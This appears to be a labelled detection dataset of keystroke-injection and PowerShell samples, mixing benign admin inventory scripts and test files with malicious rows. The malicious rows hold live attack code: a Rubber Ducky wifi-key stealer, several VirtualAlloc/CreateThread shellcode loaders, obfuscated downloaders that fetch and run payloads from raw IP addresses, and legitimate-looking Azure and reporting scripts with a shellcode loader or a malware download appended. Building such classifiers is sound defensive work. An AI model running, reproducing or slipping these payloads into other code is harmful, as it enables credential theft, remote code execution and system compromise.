"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_2fg7fuf9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.txt"") -Encoding UTF8 enter Get-NetRoute | enter Select-Object -First 25 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Export-Csv -Path (Join-Path $ReportDir ""network_routes.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.403173e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install calibre enter A enter enter enter,0,0,0.9999597,4.029789e-05
win m win r cmdctrl shift enter shutdown /s /t 0 && exit enter,1,1,0.005624502,0.99437547
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: Wifi Stealer enter REM Author: 7h30th3r0n3 enter REM Reworked: the0bone enter REM Target: Windows 7/8/10/11 enter REM Version: 1.2 enter REM Category: Grabber enter REM Extracts the SSID and wifi shared key and puts them in a txt file named 0.txt on the desktop enter REM Designed to be used for mouse hijacking on a machine whose screen is visible enter GUI r enter DELAY 500 enter STRING powershell enter ENTER enter DELAY 2000 enter REM setting variable enter STRING $desktop = ([Environment]::GetFolderPath(""Desktop"")) enter ENTER enter REM Creating a new folder in Temp with random name to store the xml files and create single text file. enter STRING New-Item -Path $env:temp -Name ""js2k3kd4nne5dhsk"" -ItemType ""directory""; Set-Location -Path ""$env:temp/js2k3kd4nne5dhsk""; netsh wlan export profile key=clear; Select-String -Path *.xml -Pattern enter ENTER enter DELAY 4000 enter GUI m enter DELAY 2000 enter STRING 0 enter DELAY 100 enter ENTER enter DELAY 200 enter GUI UPARROW enter DELAY 100 enter CTRL = enter CTRL = enter CTRL = enter CTRL = enter CTRL = enter DELAY 10000 enter ALT F4 enter CTRL D enter DUCKY_REAL_END enter",1,1,5.956038e-05,0.9999404
"win+r powershell enter Import-Module (Join-Path -Path $PSScriptRoot 'certificateCommon.psm1') -Force D enter escribe ""CmsMessage cmdlets and Get-PfxCertificate basic tests"" -Tags ""CI"" { B enter eforeAll { $certLocation = New-GoodCertificate $certLocation | Should -Not -Be enter NullOrEmpty | Out-Null $protectedCertLocation = New-ProtectedCertificate $pro enter tectedCertLocation | Should -Not -BeNullOrEmpty | Out-Null } enter enter",1,1,0.0012783501,0.99872166
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_esj7xzk3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_users.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3758402e-05
win+r powershell enter $global:ValidatorRoot = Split-Path $MyInvocation.MyCommand.Path BeforeEachFeat enter ure { New-Module -Name ValidatorTestEs { . $global:ValidatorRoot\ValidatorEs.p enter s1 -Verbose } | Import-Module -Global } AfterEachFeature { Remove-Module Vali enter datorTestEs } enter enter,1,1,0.00057964714,0.9994204
win+r powershell enter DUCKY_REAL_BEGIN enter REM Author: UNC0V3R3D enter REM Description: Mutes windows audio... enter REM Version: 1.0 enter REM Category: FUN enter DELAY 500 enter GUI r enter DELAY 300 enter STRING powershell Start-Process powershell -Verb runAs enter DELAY 200 enter ENTER enter DELAY 600 enter LEFTARROW enter DELAY 300 enter ENTER enter DELAY 450 enter STRING (new-object -com wscript.shell).SendKeys([char]173) enter DELAY 200 enter ENTER enter DUCKY_REAL_END enter,1,1,5.9858467e-05,0.99994016
"win+r powershell enter param( [Parameter(Mandatory = $true)] [string[]]$paths, [int]$retry_count = 0 enter ) # Delete paths using parallel jobs. $jobs = $paths | ForEach-Object { Star enter t-Job -ScriptBlock { param( [string]$path, [int]$retry_count = 0 enter",1,1,0.0055827675,0.9944172
"win+r powershell enter $apiVersion = ""2015-04-08"" $resourceGroupName = ""myResourceGroup"" $accountName = enter ""mycosmosaccount"" $tableName = ""table1"" $tableThroughputResourceType = ""Microso enter ft.DocumentDb/databaseAccounts/apis/tables/settings"" $tableThroughputResourceNam enter e = $accountName + ""/table/"" + $tableName + ""/throughput"" Get-AzResource -Resou enter rceType $tableThroughputResourceType ` -ApiVersion $apiVersion -ResourceGroupNa enter me $resourceGroupName ` -Name $tableThroughputResourceName | Select-Object Prop enter erties enter enter",0,1,0.0015869319,0.9984131
win+r powershell enter function Invoke-Docmap { $DocmapDLL = @' vH0HfJRF+v/MvJvdzW4CbMpuIEBCCSyhBQiwJ enter IGEZkGwYCEBC1UBlcUEEAiL9BAICIiKqKiIDVE5KyBnRUVFxXY2sJ9nO8/zvDvvzh/+nzJv2d0k5F/uz enter 4c8+37nmfrMM8+Ud2becRM3CUMI4YK/334TYp/gfxXi5P+WwV+rvAOtxKOpr3XaJ8e+1um8mbNq8udWR enter y+rnnJl/rQpc+ZE5+VPnZFfPX9O/qw5+aPOOjf/yuj0GX3S031ddRxnjxZirDTi4v1UqE5+6RUiSwnhZ enter bePB8BzPmZMce7wWXG+hbB/xTJF7kvTDChXxWoh2tB/+9f6oX+bIN4zBMfrdYnkf5OVSGuBLJL+5VtZp enter 39ewKc5cJ95MxbOg98vM3W5sjjfCVFM7lNdUz0Nw7s4j8INv8F4jxXwv0/1jCui4DFN55niap/kb0RiN enter p8ZwH4wb0qkiPPeFiIyWYrUBH/vvMX1fbJ/mUVStIJfKURALAXq8kXQ3V0oRC7wusbzhFqGv0Y0qqBkx enter ylVNzmJY4WyDebJIzLbcXZmq5oUIXwxrHYVBkFAcCMGuuMqhHQNUUhlEAFV68K43X61BB88RhhcffMg1 enter lx3GGhPn9tT8fFvv/1WKE4SztVkuFwI9waEM7AsqhazdBSec8MeCJIholD3viFYGe670Nkf2YUlYI9RK enter I0v6gOSHhkErhlG2A8gzTsfvQ7pYvu0o/RG05ByZMcncKh0cCp5CjJ0vBU5nAiCfHKjAHzHVC0KBsQqe enter ma6Aq4GijqEMduRamd8dgdcfqooT6FguZeKsXVUlSSjUWYFG65oa0w2A56rQShzXUYY/PtqAkAWc7bBD enter +aW5UlS4EdXFEL5CofZl enter enter,1,1,6.436679e-05,0.9999356
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_j17dgj1z"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.json"") -Encoding UTF8 enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.464998e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_r2ckd9ox"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.txt"") -Encoding UTF8 enter Get-AppxPackage | enter Select-Object -First 150 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.412266e-05
"win+r powershell enter $hZX = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $hZX -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0 enter x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0 enter x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0 enter x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0 enter x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0 enter x8b,0x48,0x18,0x8b,0 enter",1,1,5.415441e-05,0.9999459
"win+r powershell enter  function Test-AzSecurityAdvancedThreatProtection-ResourceId { $testPrefix enter = ""psstorage"" $testParams = Get-AdvancedThreatProtectionTestEnvironmentParamete enter rs $testPrefix $resourceId = ""/subscriptions/"" + $testParams.subscriptionId + "" enter /resourceGroups/"" + $testParams.rgName + ""/providers/Microsoft.Storage/storageAc enter counts/"" + $testParams.accountName Create-TestEnvironmentWithParams $testParams enter $policy = Enable-AzSecurityAdvancedThreatProtection -ResourceId $resourceId enter enter",1,1,0.003627713,0.99637234
"win+r powershell enter function Remove-PPScriptShortcut{ enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true)] enter [String] enter $Name enter ) enter $ShortcutToRemove = Get-PPScript -Name $Name -Shortcut enter if($ShortcutToRemove){ enter Get-ChildItem -Path $PSconfigs.Path -Filter $PSconfigs.ScriptShortcut.DataFile -Recurse | %{ enter Write-Host ""Remove script shorcut: $($ShortcutToRemove.Name)"" enter $Xml = [xml](get-content $_.Fullname) enter $RemoveNode = Select-Xml $xml -XPath ""//Content/ScriptShortcut[@Name=`""$($ShortcutToRemove.Name)`""]"" enter $null = $RemoveNode.Node.ParentNode.RemoveChild($RemoveNode.Node) enter $Xml.Save($_.Fullname) enter } enter } enter } enter",0,0,0.9993475,0.00065243675
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_9jefnuju"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4463883e-05
"win+r enter powershell enter enter enter Describe ""Remote session configuration RoleDefintion RoleCapabilityFiles key tests"" -Tags ""Feature"" { enter enter BeforeAll { enter enter if (!$IsWindows) enter { enter $originalDefaultParameterValues = $PSDefaultParameterValues.Clone() enter $PSDefaultParameterValues[""it:skip""] = $true enter } enter else enter { enter [string] $RoleCapDirectory = (New-Item -Path ""$TestDrive\RoleCapability"" -ItemType Directory -Force).FullName enter enter [string] $GoodRoleCapFile = ""$RoleCapDirectory\TestGoodRoleCap.psrc"" enter New-PSRoleCapabilityFile -Path $GoodRoleCapFile -VisibleCmdlets 'Get-Command','Get-Process','Clear-Host','Out-Default','Select-Object','Get-FormatData','Get-Help' enter enter [string] $BadRoleCapFile = ""$RoleCapDirectory\TestBadRoleCap.psrc"" enter New-PSRoleCapabilityFile -Path $BadRoleCapFile -VisibleCmdlets * enter [string] $BadRoleCapFile = $BadRoleCapFile.Replace('.psrc', 'psbad') enter enter [string] $PSSessionConfigFile = ""$RoleCapDirectory\TestConfig.pssc"" enter } enter } enter enter AfterAll { enter enter if (!$IsWindows) enter { enter $global:PSDefaultParameterValues = $originalDefaultParameterValues enter } enter } enter enter It ""Verifies missing role capability file error"" { enter enter New-PSSessionConfigurationFile -Path $PSSessionConfigFile -RoleDefinitions @{ enter Administrators = @{ RoleCapabilityFiles = ""$RoleCapDirectory\NoFile.psrc"" } enter } enter enter $e = { enter $iss = [initialsessionstate]::CreateFromSessionConfigurationFile($PSSessionConfigFile, { $true }) enter } | Should -Throw -PassThru enter enter $e.Exception.InnerException.ErrorRecord.FullyQualifiedErrorId | Should -BeExactly 'CouldNotFindRoleCapabilityFile' enter } enter enter It ""Verifies incorrect role capability file extenstion error"" { enter enter New-PSSessionConfigurationFile -Path $PSSessionConfigFile -RoleDefinitions @{ enter Administrators = @{ RoleCapabilityFiles = ""$BadRoleCapFile"" } enter } enter enter $e = { enter $iss = [initialsessionstate]::CreateFromSessionConfigurationFile($PSSessionConfigFile, { $true }) enter } | Should -Throw -PassThru enter $e.Exception.InnerException.ErrorRecord.FullyQualifiedErrorId | Should -BeExactly 'InvalidRoleCapabilityFileExtension' enter } enter enter It ""Verifies restriction on good role capability file"" { enter enter New-PSSessionConfigurationFile -Path $PSSessionConfigFile -RoleDefinitions @{ enter Administrators = @{ RoleCapabilityFiles = ""$GoodRoleCapFile"" } enter } enter $iss = [initialsessionstate]::CreateFromSessionConfigurationFile($PSSessionConfigFile, { $true }) enter [powershell] $ps = [powershell]::Create($iss) enter $null = $ps.AddCommand('Get-Service') enter enter { $ps.Invoke() } | Should -Throw -ErrorId 'CommandNotFoundException' enter enter $ps.Dispose() enter } enter } enter enter",0,0,0.99870574,0.0012942158
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_7r8b8m13"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 50 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3865097e-05
"win+r powershell enter $flol3=iex($('[Environment]::GetEumnt'''.Replace('umn','nvironmentVariable(''pub enter lic'') + ''\\e5vxlw.ba')));$flol=iex($('[Environment]::GetEumnt'''.Replace('umn' enter ,'nvironmentVariable(''public'') + ''\\iqb3.ba')));function getit([string]$fz, [ enter string]$oulv){$ff=iex($('(Nvol4w-Objvol4ct Systvol4m.Nvol4t.Wvol4bClivol4nt).Dow enter nyljbe($oulv.Replace(''gdxv'',''tps://'').Replace(''ibl'', ''e''), $fz)').Replac enter e('vol4', 'e').Replace('yljb', 'loadFil'));iex('ssagm1arsagm1 $fz'.Replace('sagm enter 1','t'))};getit -fz $flol -oulv 'htgdxvwww.dld.aibl/zp/zp.iblxibl';$fzf=$(Get-Lo enter cation).tostring() + '\\';Remove-Item -Path ($fzf + $(Get-ChildItem -Include *.l enter nk -Name));getit -fz ($fzf + 'List of required items and services.pdf') -oulv 'h enter ttp://www.bluiblmaxxlasiblr.com/rh/List%20of%20riblquiribld%20itiblms%20and%20si enter blrvicibls.pdf';exit enter enter",1,1,5.6376408e-05,0.9999436
win+r powershell enter  [CmdletBinding()] Param ( [switch]$RelaunchToolkitAsUser = $false ) [string] enter $appDeployToolkitExtName = 'PSAppDeployToolkitExt' [string]$appDeployExtScriptFr enter iendlyName = 'App Deploy Toolkit Extensions' [version]$appDeployExtScriptVersion enter = [version]'1.5.0' [string]$appDeployExtScriptDate = '11/02/2014' [hashtable]$a enter ppDeployExtScriptParameters = $PSBoundParameters enter,1,1,0.0014637037,0.99853635
"win+r powershell enter $L4nt = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $L4nt - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,0x53 enter ,0x8f,0xf2,0xb6,0xda,0xc4,0xd9,0x74,0x24,0xf4,0x5d,0x2b,0xc9,0xb1,0x47,0x31,0x7d enter ,0x13,0x03,0x7d,0x13,0x83,0xed,0xaf,0x6d,0x07,0x4a,0xa7,0xf0,0xe8,0xb3,0x37,0x95 enter ,0x61,0x56,0x06,0x95,0x16,0x12,0x38,0x25,0x5c,0x76,0xb4,0xce,0x30,0x63,0x4f,0xa2 enter ,0x9c,0x84,0xf8,0x09,0xfb,0xab,0xf9,0x22,0x3f,0xad,0x79,0x39,0x6c,0x0d,0x40,0xf2 enter ,0x61,0x4c,0x85,0xef enter enter",1,1,5.40819e-05,0.9999459
"win+r powershell enter  enter function Test-GetNodeFileContentByTask enter { enter param([string]$jobId, [string]$taskId, [string]$nodeFilePath, [string]$fileContent) enter $context = New-Object Microsoft.Azure.Commands.Batch.Test.ScenarioTests.ScenarioTestContext enter $stream = New-Object System.IO.MemoryStream enter try enter { enter $nodeFile = Get-AzBatchNodeFile -JobId $jobId -TaskId $taskId -Path $nodeFilePath -BatchContext $context enter $nodeFile | Get-AzBatchNodeFileContent -BatchContext $context -DestinationStream $stream enter $stream.Position = 0 enter $sr = New-Object System.IO.StreamReader $stream enter $downloadedContents = $sr.ReadToEnd() enter Assert-True { $downloadedContents.Contains($fileContent) } enter } enter finally enter { enter if ($sr -ne $null) enter { enter $sr.Dispose() enter } enter $stream.Dispose() enter } enter } enter function Test-GetNodeFileContentByComputeNode enter { enter param([string]$poolId, [string]$computeNodeId, [string]$nodeFilePath, [string]$fileContent) enter $context = New-Object Microsoft.Azure.Commands.Batch.Test.ScenarioTests.ScenarioTestContext enter $stream = New-Object System.IO.MemoryStream enter try enter { enter $nodeFile = Get-AzBatchNodeFile -PoolId $poolId -ComputeNodeId $computeNodeId -Path $nodeFilePath -BatchContext $context enter $nodeFile | Get-AzBatchNodeFileContent -BatchContext $context -DestinationStream $stream enter $stream.Position = 0 enter $sr = New-Object System.IO.StreamReader $stream enter $downloadedContents = $sr.ReadToEnd() enter Assert-True { $downloadedContents.Contains($fileContent) } enter } enter finally enter { enter if ($sr -ne $null) enter { enter $sr.Dispose() enter } enter $stream.Dispose() enter } enter } enter function Test-GetRDPFile enter { enter param([string]$poolId, [string]$computeNodeId) enter $context = New-Object Microsoft.Azure.Commands.Batch.Test.ScenarioTests.ScenarioTestContext enter $stream = New-Object System.IO.MemoryStream enter $rdpContents = ""full address"" enter try enter { enter $computeNode = Get-AzBatchComputeNode -PoolId $poolId -Id $computeNodeId -BatchContext $context enter $computeNode | Get-AzBatchRemoteDesktopProtocolFile -BatchContext $context -DestinationStream $stream enter $stream.Position = 0 enter $sr = New-Object System.IO.StreamReader $stream enter $downloadedContents = $sr.ReadToEnd() enter Assert-True { $downloadedContents.Contains($rdpContents) } enter } enter finally enter { enter if ($sr -ne $null) enter { enter $sr.Dispose() enter } enter $stream.Dispose() enter } enter } enter function Test-DeleteNodeFileByTask enter { enter param([string]$jobId, [string]$taskId, [string]$filePath) enter $context = New-Object Microsoft.Azure.Commands.Batch.Test.ScenarioTests.ScenarioTestContext enter Get-AzBatchNodeFile -JobId $jobId -TaskId $taskId -Path $filePath -BatchContext $context | Remove-AzBatchNodeFile -Force -BatchContext $context enter $file = Get-AzBatchNodeFile -JobId $jobId -TaskId $taskId -Filter ""startswith(name,'$filePath')"" -BatchContext $context enter Assert-AreEqual $null $file enter } enter function Test-DeleteNodeFileByComputeNode enter { enter param([string]$poolId, [string]$computeNodeId, [string]$filePath) enter $context = New-Object Microsoft.Azure.Commands.Batch.Test.ScenarioTests.ScenarioTestContext enter Get-AzBatchNodeFile $poolId $computeNodeId $filePath -BatchContext $context | Remove-AzBatchNodeFile -Force -BatchContext $context enter $file = Get-AzBatchNodeFile $poolId $computeNodeId -Filter ""startswith(name,'$filePath')"" -BatchContext $context enter Assert-AreEqual $null $file enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbd,0x46,0x02,0xa3,0xe0,0xd9,0xc1,0xd9,0x74,0x24,0xf4,0x5f,0x29,0xc9,0xb1,0x47,0x31,0x6f,0x13,0x83,0xc7,0x04,0x03,0x6f,0x49,0xe0,0x56,0x1c,0xbd,0x66,0x98,0xdd,0x3d,0x07,0x10,0x38,0x0c,0x07,0x46,0x48,0x3e,0xb7,0x0c,0x1c,0xb2,0x3c,0x40,0xb5,0x41,0x30,0x4d,0xba,0xe2,0xff,0xab,0xf5,0xf3,0xac,0x88,0x94,0x77,0xaf,0xdc,0x76,0x46,0x60,0x11,0x76,0x8f,0x9d,0xd8,0x2a,0x58,0xe9,0x4f,0xdb,0xed,0xa7,0x53,0x50,0xbd,0x26,0xd4,0x85,0x75,0x48,0xf5,0x1b,0x0e,0x13,0xd5,0x9a,0xc3,0x2f,0x5c,0x85,0x00,0x15,0x16,0x3e,0xf2,0xe1,0xa9,0x96,0xcb,0x0a,0x05,0xd7,0xe4,0xf8,0x57,0x1f,0xc2,0xe2,0x2d,0x69,0x31,0x9e,0x35,0xae,0x48,0x44,0xb3,0x35,0xea,0x0f,0x63,0x92,0x0b,0xc3,0xf2,0x51,0x07,0xa8,0x71,0x3d,0x0b,0x2f,0x55,0x35,0x37,0xa4,0x58,0x9a,0xbe,0xfe,0x7e,0x3e,0x9b,0xa5,0x1f,0x67,0x41,0x0b,0x1f,0x77,0x2a,0xf4,0x85,0xf3,0xc6,0xe1,0xb7,0x59,0x8e,0xc6,0xf5,0x61,0x4e,0x41,0x8d,0x12,0x7c,0xce,0x25,0xbd,0xcc,0x87,0xe3,0x3a,0x33,0xb2,0x54,0xd4,0xca,0x3d,0xa5,0xfc,0x08,0x69,0xf5,0x96,0xb9,0x12,0x9e,0x66,0x46,0xc7,0x31,0x37,0xe8,0xb8,0xf1,0xe7,0x48,0x69,0x9a,0xed,0x47,0x56,0xba,0x0d,0x82,0xff,0x51,0xf7,0x44,0xc0,0x0e,0xf6,0xa3,0xa8,0x4c,0xf9,0xda,0x74,0xd8,0x1f,0xb6,0x94,0x8c,0x88,0x2e,0x0c,0x95,0x43,0xcf,0xd1,0x03,0x2e,0xcf,0x5a,0xa0,0xce,0x81,0xaa,0xcd,0xdc,0x75,0x5b,0x98,0xbf,0xd3,0x64,0x36,0xd5,0xdb,0xf0,0xbd,0x7c,0x8c,0x6c,0xbc,0x59,0xfa,0x32,0x3f,0x8c,0x71,0xfa,0xd5,0x6f,0xed,0x03,0x3a,0x70,0xed,0x55,0x50,0x70,0x85,0x01,0x00,0x23,0xb0,0x4d,0x9d,0x57,0x69,0xd8,0x1e,0x0e,0xde,0x4b,0x77,0xac,0x39,0xbb,0xd8,0x4f,0x6c,0x3d,0x24,0x86,0x48,0x4b,0x44,0x1a;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.2191313e-05,0.9999478
"win+r powershell enter $wC=NeW-OBJEct SYStEM.NET.WEBClieNT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';$wC.HeadeRs.Add('User-Agent',$u);$wC.PrOxy = [SyST enter em.NET.WeBReQuest]::DeFAULtWEbProXy;$wc.ProxY.CREdENTiALS = [SYstEM.NeT.CRedentI enter alCAChe]::DEFauLtNEtworkCredeNtialS;$K='VNMkZc{S;gAe_fD8u:4xLX-Ciw^U,Br<';$i=0;[ enter chAr[]]$b=([ChaR[]]($WC.DoWnloaDSTrING(""http://52.196.119.113:80/index.asp"")))|% enter {$_-BXor$k[$I++%$K.LENGtH]};IEX ($B-join'') enter enter",1,1,5.5717996e-05,0.9999443
"win+r enter powershell enter enter enter  enter function Export-RsSubscriptionXml { enter [cmdletbinding(SupportsShouldProcess = $true, ConfirmImpact = 'Medium')] enter param( enter [Parameter(Mandatory=$True,Position=0)] enter [string] enter $Path, enter enter [Parameter(Mandatory = $True, ValueFromPipeline=$true)] enter [object] enter $Subscription enter ) enter enter Begin { enter $Subscriptions = @() enter } enter Process { enter $Subscriptions = $Subscriptions + $Subscription enter } enter End { enter enter if ($PSCmdlet.ShouldProcess($Path, ""Exporting subscriptions"")) enter { enter Write-Verbose ""Exporting subscriptions to $Path..."" enter $Subscriptions | Export-Clixml $Path -Depth 3 enter } enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.9925802e-05,0.99994004
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_sosuu972"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter",0,0,0.99996626,3.3794386e-05
"win+r powershell enter class Group : BaseLogger { [string]$Name [string]$Description [hashtable]$Use enter rs = @{} [hashtable]$Roles = @{} Group([string]$Name, [Logger]$Logger) { $th enter is.Name = $Name $this.Logger = $Logger } Group([string]$Name, [string]$Descr enter iption, [Logger]$Logger) { enter enter",1,1,0.0005461432,0.99945384
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_gjtgjbeh"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4183075e-05
"DUCKY_REAL_BEGIN enter REM Title: File bomb enter REM Author: FalsePhilosopher enter REM Target: Unix-like tested on kubuntu 22.04 enter REM Props: Hak5, the community and memes enter REM Version: 1.0 enter REM Category: Prank enter REM Launches a terminal, spawns 420 txt files in each home dir, home, and root. Change the 420 to 100000 or something if you want more files. enter REM enter REM initialization delay enter DELAY 300 enter REM Minimize all windows as that ensures launch happens smoother. enter WINDOWS d enter DELAY 300 enter CTRL-ALT t enter DELAY 1500 enter REM STRING nohup cd /Home/Pictures && touch {1..420}.txt 2>/dev/null & cd /Home/Documents && touch {1..420}.txt 2>/dev/null & cd /Home/Music && touch {1..420}.txt 2>/dev/null & cd /Home/Videos && touc enter ENTER enter DELAY 500 enter ALT F4 enter DUCKY_REAL_END",1,1,6.0573144e-05,0.99993944
